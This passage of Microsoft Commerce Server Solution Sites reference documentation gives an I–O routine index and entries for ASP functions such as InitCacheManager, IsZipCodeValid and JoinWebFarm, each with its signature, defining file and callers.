  byVal sSubAction,
  byVal sProfileIDs,
  byVal sActionPage,
  byVal sPreviousAction,
  byVal listProfileSchema,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmSaveChangesConfirmationHandler

Called By

Main (services\partner\account.asp)


htmSelectedActionHandlerForEdit - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Selected" action.

Definition

Function htmSelectedActionHandlerForEdit(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

Called By

Main (services\partner\account.asp)


I - O

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letters I through O.

Routine | File
iGetCountOfProfiles | services\include\lib.asp
iGetCurrentUserPropertyAccessClass | services\include\lib.asp
iGetWebServerPort | include\global_siteconfig_lib.asp
InitAltCurrencyDisp | include\global_internationalization_lib.asp
InitAuthManager | include\global_profile_lib.asp
InitCacheManager | include\global_cache_lib.asp
InitCatalogManager | include\global_catalog_lib.asp
InitCatalogSets | include\global_catalog_lib.asp
InitCSF | include\global_csf_lib.asp
InitDataFunctions | include\global_data_lib.asp
InitializeBasketPage | basket.asp
InitializeConfirmationPage | confirm.asp
InitializeCreditcardPage | crdtcard.asp
InitializePagingVariables | services\include\lib.asp
InitializePartnerDesk | services\include\initialize.asp
InitializePO | po.asp
InitializeSummaryPage | summary.asp
InitPageSets | include\global_siteconfig_lib.asp
InitPredictor | include\global_predictor_lib.asp
InitProfileService | include\global_profile_lib.asp
InitSitePipelines | include\global_siteconfig_lib.asp
InsertBlankSpace | include\html_lib.asp
InsertHiddenProperty | services\include\save_one_profile.asp
InsertLineBreaks | include\html_lib.asp
InsertParagraphBreaks | include\html_lib.asp
InvokeBizTalk | include\payment.asp
IsActiveDirectoryPresent | include\global_siteconfig_lib.asp
IsBitValueSet | include\std_util_lib.asp
IsEntityInArray | include\std_util_lib.asp
IsEntityInList | include\std_util_lib.asp
IsEntityInSet | include\std_util_lib.asp
IsFormLoginRequired | include\std_access_lib.asp
IsFormSubmitted | include\form_lib.asp
IsNumberInRange | include\std_util_lib.asp
IsPersistentCookieAllowed | include\std_access_lib.asp
IsZipCodeValid | include\addr_lib.asp
Italic | include\html_lib.asp
iValidateSubmittedAddress | addrform.asp
iValidateSubmittedAddressForAddressBook | newaddr.asp
iValidateSubmittedRegistrationData | login\newuser.asp
JoinWebFarm | include\global_siteconfig_lib.asp
listCloneProfileSchema | services\include\lib.asp
listGetProfileSchema | include\global_profile_lib.asp
listGetShownProductsInfo | template\discount.asp
listGetValidPropertiesForMultiEdit | services\include\lib.asp
listGetVariantPropertiesToShow | product.asp
listReConstructPropertiesSchema | services\include\lib.asp
LoadBasket | include\std_ordergrp_lib.asp
LookupCachedFragment | include\std_cache_lib.asp
LookupCachedObject | include\std_cache_lib.asp
LookupRegion | include\addr_lib.asp
Main | _additem.asp
Main | _delall.asp
Main | _delitem.asp
Main | _editqty.asp
Main | _recvpo.asp
Main | _setadrs.asp
Main | _setship.asp
Main | addrbook.asp
Main | addrform.asp
Main | basket.asp
Main | category.asp
Main | confirm.asp
Main | crdtcard.asp
Main | default.asp
Main | dispatch.asp
Main | newaddr.asp
Main | opt-out.asp
Main | pickship.asp
Main | po.asp
Main | product.asp
Main | redir.asp
Main | search.asp
Main | srchdept.asp
Main | stepsrch.asp
Main | summary.asp
Main | welcome.asp
Main | error\baditem.asp
Main | error\badurl.asp
Main | error\closed.asp
Main | error\construc.asp
Main | error\noauth.asp
Main | error\profile.asp
Main | include\global_main_lib.asp
Main | login\_guest.asp
Main | login\login.asp
Main | login\logoff.asp
Main | login\newuser.asp
Main | services\change_password.asp
Main | services\customer\account.asp
Main | services\customer\orders.asp
Main | services\customer\view_order.asp
Main | services\error\badaction.asp
Main | services\error\noaccess.asp
Main | services\error\noorder.asp
Main | services\error\noorgprofile.asp
Main | services\error\noprofile.asp
Main | services\partner\account.asp
Main | services\partner\edit_user.asp
Main | services\partner\orders.asp
Main | services\partner\users.asp
Main | services\partner\view_order.asp
MoveBasketItems | login\login.asp
mscsGetCategoryObject | include\catalog.asp
mscsGetOrderGroupWithDiscountsByID | services\include\logic_orders.asp
mscsGetProductList | include\catalog.asp
mscsGetSubCategoriesList | include\catalog.asp
mscsNewRegisteredUserProfile | login\newuser.asp
mscsTransferGuestUserProfile | login\newuser.asp
mscsUserCatalogs | include\catalog.asp
mscsUserCatalogsetID | include\catalog.asp
mscsUserCatalogsFromID | include\catalog.asp
oCachedDiscountProductInfo | template\discount.asp
oGetBizDataObject | include\global_data_lib.asp
oGetGenIDObject | include\global_data_lib.asp
oGetOpenConnectionObject | include\global_profile_lib.asp
oGetProfile | include\global_profile_lib.asp
oGetSiteTermOptions | include\global_siteterms_lib.asp
OptOut | opt-out.asp
OrderListActionHandler | services\customer\orders.asp


iGetCountOfProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns –1 if the sSubAction parameter is equal to the constant SELECTALL_ACTION. Otherwise, it returns the number of profiles in the string specified by the sProfileIDs parameter.

Definition

Function iGetCountOfProfiles(
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

bSaveProfileAndRedirect

bSaveProfileDetails

bSaveReadWriteProperty

CheckIfOrderExists

CheckIfProfilesExist

colRenderForeignKeyProperty

colRenderPrimaryKeyProperty

colRenderUniqueKeyProperty

DeleteSelectedProfiles

htmRenderChangePasswordPage

htmRenderEditPage

htmRenderMessageBoxPage

PrepareCloseAction

PrepareCopyAction

PrepareDeleteAction

PrepareEditAction

PrepareOrderDetailsAction

PrepareSaveProfiles

rowRenderHiddenProperty

rowRenderReadOnlyProperty

SaveReadOnlyProperty

SaveUserAccountControlProperty

SaveUserPartnerDeskRoleProperty

SelectedActionHandlerForList

sRenderHTMLPreFixForProperty

tableChangePasswordTasks

tableRenderEditPageTasks

tableRenderProfiles

UpdateSelectActionPropertyName

UpdateUserPasswordProperty

varUpdateValueForCurrentAction


iGetCurrentUserPropertyAccessClass - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function is used in Partner Services to determine whether the current user is a guest, a registered user, or a delegated administrator.

Definition

Function iGetCurrentUserPropertyAccessClass()

Defined in File

services\include\lib.asp

Routines Called

EnsureUserProfile

Called By

bInsertProperty

bIsPropertyValueAdded

bProfileHasChanged

bSaveProfileDetails

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

SaveAllSelectedProfiles

tableRenderBlankProfile

tableRenderProfiles

ValidateFields


iGetWebServerPort - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the Web server port number being used for the site. For Web farms, it is assumed that the sites on all servers are using the same port number.

Definition

Function iGetWebServerPort()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetSiteConfigObject

Called By

GetMachineBaseURL


InitAltCurrencyDisp - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a EuroDisplay object. This enables the display of the Euro as an alternate currency.

Definition

InitAltCurrencyDisp()

Defined in File

include\global_internationalization_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


InitAuthManager - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates an AuthManager object and returns a reference to it.

Definition

Function InitAuthManager()

Defined in File

include\global_profile_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


InitCacheManager - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a CacheManager object. For more information about the individual caches created, see Remarks.

Definition

Function InitCacheManager(
  oEvaluator
)

Defined in File

include\global_cache_lib.asp

Routines Called

GetDictionary

GetMachineBaseURL

Called By

Main (include\global_main_lib.asp)

Remarks

Individual caches are created with the following names:

advertising, DefaultPageCache, DiscountProductInfo, discounts, FTSearchPageCache, ProductListCache, ProductPageCache, QueryCatalogInfoCache, SampleRegionalTaxCache, SearchDeptPageCache, ShippingManagerCache, StaticSectionsCache, StepSearchPageCache

For more information about caching in the Solution Sites, see Caching Solution Sites.


InitCatalogManager - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a CatalogManager object.

Definition

Function InitCatalogManager()

Defined in File

include\global_catalog_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


InitCatalogSets - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and initializes a CatalogSets object. Then it creates, initializes, and returns a reference to a Dictionary object of Dictionary objects, where each subordinate dictionary represents a CatalogSets object, and each entry in the subordinate dictionaries represents a catalog in the corresponding CatalogSets object.

Definition

Function InitCatalogSets()

Defined in File

include\global_catalog_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


InitCSF - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub creates and initializes the global context Dictionary objects and the event recording pipeline for the Content Selection Framework (CSF).

Definition

Sub InitCSF(
  oPipelineMap,
  oCacheManager,
  oExpressionEvaluator
)

Defined in File

include\global_csf_lib.asp

Routines Called

GetBaseURL

Called By

Main (include\global_main_lib.asp)

Remarks

The following three entries are assigned to the intrinsic Application object:

CSFAdvertisingContext

CSFDiscountContext

CampaignsCSFEventPipe


InitDataFunctions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates a DataFunctions object and returns a reference to it, setting the default locale before returning.

Definition

Function InitDataFunctions()

Defined in File

include\global_data_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


InitializeBasketPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters in preparation for displaying the basket.asp page.

Definition

Sub InitializeBasketPage(
  byRef objOrderGroup,
  byRef bBasketIsEmpty,
  byRef bMustSaveBasket,
  byRef oOrderFormDisplayOrder
)

Defined in File

basket.asp

Routines Called

LoadBasket

Called By

Main (basket.asp)


InitializeConfirmationPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters in preparation for displaying the order confirmation page.

Definition

Sub InitializeConfirmationPage(
  byRef sOrderID,
  byRef mscsOrderGrp,
  byRef sOrderNumber
)

Defined in File

confirm.asp

Routines Called

GenerateURL

GetOrderGroup

GetRequestString

Called By

Main (confirm.asp)


InitializeCreditcardPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters in preparation for displaying the crdtcard.asp page.

Definition

Sub InitializeCreditcardPage(
  byRef iOrderGroupID,
  byRef bSuccess,
  byRef listMethods,
  byRef listFrmErrs,
  byRef dictFldVals,
  byRef dictFldErrs,
  byRef sVerifyWithTotal,
  byRef urlAction,
  byRef iErrorLevel
)

Defined in File

crdtcard.asp

Routines Called

CatchErrorsForPaymentPages

GenerateURL

GetDefaultValuesForCreditCardFields

GetListItemIndex

GetPaymentMethodsForUser

GetSubmittedFieldValues

IsFormSubmitted

LoadBasket

SaveBasketAsOrder

ValidateSubmittedCreditCardData

Called By

Main (crdtcard.asp)


InitializePagingVariables - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes paging variables for Customer and Partner Services. The iPageNumber and iTotalPages parameters are initialized based on the values of the sAction and bIsProfilePage parameters.

Definition

Sub InitializePagingVariables(
  byRef sAction,
  byRef iPageNumber,
  byRef iTotalPages,
  byVal bIsProfilePage
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

htmListPageActionHandlers

htmOrderListActionHandler

OrderListActionHandler


InitializePartnerDesk - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters for use in all Customer and Partner Services pages.

Definition

Sub InitializePartnerDesk(
  byRef sAction,
  byRef sSubAction,
  byRef sProfileIDs
)

Defined in File

services\include\initialize.asp

Routines Called

sGetAction

sGetSelectedIDs

sGetSubAction

Called By

Main (services\change_password.asp)

Main (services\customer\account.asp)

Main (services\customer\orders.asp)

Main (services\customer\view_order.asp)

Main (services\partner\account.asp)

Main (services\partner\edit_user.asp)

Main (services\partner\orders.asp)

Main (services\partner\users.asp)

Main (services\partner\view_order.asp)


InitializePO - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters in preparation for displaying the po.asp page.

Definition

Sub InitializePO(
  byRef mscsOrderGrp,
  byRef listMethods,
  byRef sVerifyWithTotal,
  byRef bSuccess,
  byRef dictFldVals,
  byRef dictFldErrs,
  byRef listFlds,
  byRef urlAction
)

Defined in File

po.asp

Routines Called

CatchErrorsForPaymentPages

GenerateURL

GetPaymentMethodsForUser

LoadBasket

Called By

Main (po.asp)


InitializeSummaryPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters in preparation for displaying the summary.asp page. It also runs the basket and total pipelines.

Definition

Sub InitializeSummaryPage(
  byRef mscsOrderGrp,
  byRef listMethods,
  byRef mscsAnyOrderForm,
  byRef dictAnyItem
)

Defined in File

summary.asp

Routines Called

CatchErrors (summary.asp)

GenerateURL

GetAnyLineItem

GetAnyOrderForm

GetErrorCount

GetPaymentMethodsForUser

GetPipelineLogFile

LoadBasket

RunMtsPipeline

Called By

Main (summary.asp)


InitPageSets - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates sets of related pages, which are returned in a Dictionary object, where each entry in the dictionary is a string of comma-separated page names.

Definition

Function InitPageSets(
  MSCSSitePages
)

Defined in File

include\global_siteconfig_lib.asp

Routines Called

CreateSet

Called By

Main (include\global_main_lib.asp)

Remarks

Page sets are useful, for example, when you have a set of pages on which you want to show a particular advertisement. The IsEntityInSet function is used to test whether an item is in a given set.

The following three dictionary entries (page sets) are created:

PurchasePageSet

ProductPageSet

AdvertisementPageSet


InitPredictor - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a PredictorClient object. Before returning, it also loads the Transaction prediction model from the Data Warehouse, and sets prediction properties.

Definition

Function InitPredictor()

Defined in File

include\global_predictor_lib.asp

Routines Called

GetDWConnectionString

Called By

Main (include\global_main_lib.asp)


InitProfileService - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and initializes a ProfileService object, and returns a reference to it.

Definition

Function InitProfileService()

Defined in File

include\global_profile_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)

ProfileRefresh


InitSitePipelines - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and initializes a Dictionary object with an entry for each pipeline configuration file (PCF) used in the site. It also establishes pipeline logging settings.

Definition

Function InitSitePipelines()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

CheckOut

GetDictionary

GetRootPath

Called By

Main (include\global_main_lib.asp)

Remarks

The returned Dictionary object contains an entry for each pipeline PCF file, stored using the following keys:

Advertising, Basket, Checkout, Discounts, Fragment, Product, ReceivePO, RecordEvent, Total


InsertBlankSpace - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a string containing space characters, where the number of space characters is equal to the number of items in the passed array.

Definition

Function InsertBlankSpace(
  byVal arrLines
)

Parameters

arrLines
An array in which the number of items in the array determines the number of space characters in the returned string.

Return Value

A string containing zero or more space characters, based on the number of items in the array specified by the arrLines parameter.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

None.


InsertHiddenProperty - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub copies particular, hidden properties from the current user profile to the specified profile Recordset object. Currently, only the organization ID of the user can be copied.

Definition

Sub InsertHiddenProperty(
  byVal oProperty,
  byVal rsProfile
)

Defined in File

services\include\save_one_profile.asp

Routines Called

None.

Called By

bInsertProperty


InsertLineBreaks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a string containing a concatenation of each of the strings in the passed array, separated by BR elements, and ending with a BR element. In other words, it concatenates the strings in the array, appending a <BR> tag to each string in the process.

Definition

Function InsertLineBreaks(
  byVal arrLines
)

Parameters

arrLines
An array of strings that are concatenated together and returned as a single string, with a <BR> tag appended to each string in the process.

Return Value

A string containing a concatenation of each string in the array specified by the arrLines parameter, with a <BR> tag appended to each string in the process.

Defined in File

include\html_lib.asp

Routines Called

BRTag

Called By

None.


InsertParagraphBreaks - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a string containing a concatenation of each of the strings in the passed array, where each source string is wrapped in a P element. In other words, it concatenates the strings in the array, prepending a <P> tag to the beginning of each source string and appending a </P> tag to the end of each source string.

Definition

Function InsertParagraphBreaks(
  byVal arrLines
)

Parameters

arrLines
An array of strings that are concatenated together and returned as a single string, where each source string in the array is wrapped in a P element in the process.

Return Value

A string containing a concatenation of each string in the array specified by the arrLines parameter, where each source string in the array is wrapped in a P element in the process.

Defined in File

include\html_lib.asp

Routines Called

PTag

Called By

None.


InvokeBizTalk - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub submits purchase orders to the appropriate vendors using BizTalk Server when BizTalk Server integration is enabled.

Definition

Sub InvokeBizTalk(
  byVal mscsOrderGrp
)

Defined in File

include\payment.asp

Routines Called

GetXMLForVendorItems

SubmitUsingBizTalk

Called By

SaveBasketAsOrder

Remarks

For more information about how this routine is used to enable integration with Biztalk Server, see About the BizTalk Server Integration Feature.


IsActiveDirectoryPresent - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether Active Directory is being used by the Profile Service, returning True if it is being used, and False otherwise.

Definition

Function IsActiveDirectoryPresent()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)

ProfileRefresh


IsBitValueSet - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether every bit in the iBitValue parameter is also set in the iValue parameter, returning True if so, and False otherwise.

Definition

Function IsBitValueSet(
  byVal iValue,
  byVal iBitValue
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetPaymentMethodsForSite

Remarks

Examples:

If iBitValue=5 (0x00000101) and iValue=7 (0x00000111), this function returns True.
If iBitValue=5 (0x00000101) and iValue=6 (0x00000110), this function returns False.


IsEntityInArray - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the string specified by the sEntity parameter is equal to one of the strings in the array specified by the arrItems parameter, returning True if so, and False otherwise.

Definition

Function IsEntityInArray(
  byVal sEntity,
  byVal arrItems
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

JoinWebFarm


IsEntityInList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the string specified by the sEntity parameter is equal to one of the strings in the SimpleList object specified by the list parameter, returning True if so, and False otherwise.

Definition

Function IsEntityInList(
  byVal sEntity,
  list
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

EnsureSupportForPaymentMethod

GetFieldsErrorDictionary

GetPaymentMethodsForUser

htmRenderVerifyWithForm

Main (dispatch.asp)

sLookUpPaymentMethod


IsEntityInSet - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the string specified by the sEntity parameter is equal to one of the substrings in the comma-separated string specified by the sSet parameter, returning True if so, and False otherwise.

Definition

Function IsEntityInSet(
  byVal sEntity,
  byVal sSet
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetShownProductsDetails

IsFormLoginRequired


IsFormLoginRequired - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether login is required on the current page. It returns True if logging in is always required, or if logging in is required for a purchase and the current page is in the purchase page set. Otherwise, it returns False.

Definition

Function IsFormLoginRequired()

Defined in File

include\std_access_lib.asp

Routines Called

IsEntityInSet

Called By

EnsureAccess


IsFormSubmitted - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function is used to test whether the current request contains a query string or form post variable with the name "mode" that has a value that can be successfully converted to a number.

Definition

Function IsFormSubmitted()

Return Value

A Boolean, where True indicates that the current request contains a query string or form post variable with the name "mode", and for which the value can be successfully converted to a number; otherwise it returns False.

Defined in File

include\form_lib.asp

Routines Called

None.

Called By

InitializeCreditcardPage

Main (addrform.asp)

Main (po.asp)

PrepareLoginPage

PrepareNewUserPage

SetupAddressForm

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


IsNumberInRange - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the number specified by the iNumber parameter is in the range specified by the iMin and iMax parameters (inclusive), returning True if so, and False otherwise.

Definition

Function IsNumberInRange(
  iNumber,
  iMin,
  iMax
)

Defined in File

include\std_util_lib.asp

Routines Called

None.

Called By

GetProductQuantity


IsPersistentCookieAllowed - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether persistent cookies are enabled in the current user's browser, returning True if so, and False otherwise. A test cookie and page redirection are used to make the determination.

Definition

Function IsPersistentCookieAllowed()

Defined in File

include\std_access_lib.asp

Routines Called

AddURLArguments

SetTestCookie

Called By

EnsureAccess

Main (login\_guest.asp)


IsZipCodeValid - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether the basic format of the zip code specified by the sZipCode parameter is correct, returning True if so, and False otherwise. For additional information, see the Remarks.

Definition

Function IsZipCodeValid(
  sZipCode
)

Defined in File

include\addr_lib.asp

Routines Called

None.

Called By

iValidateSubmittedAddress

iValidateSubmittedAddressForAddressBook

Remarks

The following formats are considered valid:

Format, where "d" is a digit | Example
ddddd-dddd | 98052-0000
ddddddddd | 980520000
ddddd dddd | 98052 0000
ddddd- | 98052-
ddddd | 98052

You may add further validation logic to this function to ensure zip code entered is in existence or that it matches the state/province entered by the user.


Italic - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function surrounds the string specified by the s parameter with the tags <I> and </I> and then returns the resulting string.

Definition

Function Italic(
  byVal s
)

Parameters

s
A string that contains the text to be wrapped in an I element, and then returned.

Return Value

A string that contains the text passed in the s parameter, surrounded by <I> and </I> tags.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

None.


iValidateSubmittedAddress - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether an address supplied during a purchase is valid, returning zero (0) if so, and one (1) otherwise.

Definition

Function iValidateSubmittedAddress(
  listFlds,
  dictFldVals,
  dictFldErrs
)

Defined in File

addrform.asp

Routines Called

GetFieldsErrorDictionary

IsZipCodeValid

LookupRegion

Called By

Main (addrform.asp)

Remarks

Insert your specific address validation logic inside this function.

The default implementation supports basic validation for international addresses:

  • Ensures that all required fields contain data.
  • Ensures that the country/region field is a required field for countries/regions that have countries/regions defined.
  • Accepts country/region name or country/region code as input; validates them against the country/region table.
  • Expands country/region code to country/region name on subsequent renderings of address form.
  • Performs zip code validation for US addresses.

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


iValidateSubmittedAddressForAddressBook - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function determines whether an address supplied while working in the address book is valid, returning zero (0) if so, and one (1) otherwise.

Definition

Function iValidateSubmittedAddressForAddressBook(
  listFlds,
  dictFldVals,
  dictFldErrs,
  byVal sAction,
  byRef sAddrID,
  rsAddr
)

Defined in File

newaddr.asp

Routines Called

bIsAddressNameUnique

GetFieldsErrorDictionary

IsZipCodeValid

LookupRegion

Called By

SetupAddressForm

Remarks

Insert your specific address validation logic inside this function.

The default implementation supports basic validation for international addresses:

  • Ensures that all required fields contain data.
  • Ensures that the country/region field is a required field for countries/regions that have countries/regions defined.
  • Accepts country/region name or country/region code as input; validates them against the country/region table.
  • Expands country/region code to country/region name on subsequent renderings of address form.
  • Performs zip code validation for US addresses.

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


iValidateSubmittedRegistrationData - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks that the user name submitted on the registration page (login\newuser.asp) is unique, verifies that the submitted password is syntactically valid, and that the password matches the confirm password entry.

Definition

Function iValidateSubmittedRegistrationData(
  listFlds,
  dictFldVals,
  dictFldErrs,
  listFrmErrs
)

Parameters

listFlds
A SimpleList object containing the information about the form fields.
dictFldVals
A Dictionary object containing the form field values.
dictFldErrs
A Dictionary object that is initialized with field error messages by calling the function GetFieldsErrorDictionary.
listFrmErrs
A SimpleList object that is not used.

Return Value

A number indicating whether the submitted registration data is valid, where zero (0) indicates valid data and one (1) indicates data that is not valid.

Defined in File

login\newuser.asp

Routines Called

GetDictionary

GetFieldsErrorDictionary

rsGetProfile

Called By

PrepareNewUserPage

Remarks

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


JoinWebFarm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds the current Web server to the Web farm, if the computer is not already recognized as being so. This routine will run in the case where a site was replicated using Microsoft Application Center 2000, or other cases where the site was not installed using Commerce Site Packager.

This routine updates the Commerce Server Administration database and Data Warehouse as necessary.

To use this routine, the accounts must have access to the Web Users role. This role is designed to support the automatic additions of Web servers, for example, in a Web farm scenario: when the Commerce Server application first starts on the new Web server (for example, a user connects to the Web server or gets load-balanced to it), and global.asa starts, the Web server is added automatically to the Administration database.

By default, Everyone is added to the Web Users role. You must change this as follows:

  1. Remove Everyone.
  2. Add the Anonymous account (IUSR_<computername> is the default).
  3. Add the Launch IIS Process account (IWAM_<computername> is the default).
  4. Add the accounts of other users who will be allowed to connect to the site.

For more information about how JoinWebFarm is used, see Adding Web Server without Site Packager. For security information about the Config COM+ application, see Important Security Notes.

Definition

Sub JoinWebFarm(
  byRef iWebServerCount
)

Defined in File

include\global_siteconfig_lib.asp

Routines Called

FormatOutput

GetComputerName

GetErrorSource

GetSiteConfigObject

IsEntityInArray

Called By

Main (include\global_main_lib.asp)


listCloneProfileSchema - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object that contains a copy of the profile schema associated with the page specified by the sPageName parameter.

Definition

Function listCloneProfileSchema(
  byVal sPageName
)

Defined in File

services\include\lib.asp

Routines Called

sGetThisPageProperty

Called By

arrPopulateProfileDetails

bInsertProfileDetails

bIsPropertyValueAdded

bProfileHasChanged

bSaveProfileDetails

listReConstructPropertiesSchema

PopulateProfileSearchCriteria

PrepareAddAction

PrepareCloseAction

PrepareCopyAction

PrepareEditAction

PrepareEditAllAction

PrepareInsertProfile

PrepareSaveAllAction

PrepareSaveChangesConfirmation

PrepareSaveProfiles

PrepareSelectedAction

rowRenderListHeading

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

rsGetProfilesList

SaveAllSelectedProfiles

sConstructWHEREclause


listGetProfileSchema - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object of Dictionary objects that represent the schema specified by the parameters.

Definition

Function listGetProfileSchema (
  byVal oProfile,
  byVal oProfileDefsCatalog,
  byVal oSiteTermsProfile
)

Defined in File

include\global_profile_lib.asp

Routines Called

AddGroupAndPropertySchemas

Called By

dictGetProfileSchemaForAllProfileTypes


listGetShownProductsInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and returns a SimpleList object of Dictionary objects, where each Dictionary object contains information about a single product in the catalog, category, and so on, specified by the parameters.

Definition

Function listGetShownProductsInfo(
  byVal sCatalogName,
  byVal sCategoryName,
  byVal sProductID,
  byVal nPageNumber
)

Defined in File

template\discount.asp

Routines Called

CopyProductToItem

GetAncestorCategories

GetDictionary

GetSimpleList

mscsGetCategoryObject

mscsGetProductList

Called By

oCachedDiscountProductInfo


listGetValidPropertiesForMultiEdit - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a SimpleList object that contains those profile properties from the SimpleList object specified by the listProfileSchema parameter that are valid participants in the current multi-edit operation.

Definition

Function listGetValidPropertiesForMultiEdit(
  byVal listProfileSchema
)

Defined in File

services\include\lib.asp

Routines Called

bCheckIfThePropertyFeatureIsSupported

GetRequestString

iGetCurrentUserPropertyAccessClass

sGetUserAccessForThisProperty

Called By

PrepareSaveAllAction

PrepareSaveProfiles


listGetVariantPropertiesToShow - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a SimpleList object that contains an entry for each property specified by the fldsProps parameter that is configured as displayable. The SimpleList object entries are strings containing the name of the corresponding property, and the built-in property TimeStamp is excluded regardless of its displayable setting.

Definition

Function listGetVariantPropertiesToShow(
  byVal fldsProps
)

Defined in File

product.asp

Routines Called

GetSimpleList

Called By

htmRenderVariantsList


listReConstructPropertiesSchema - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

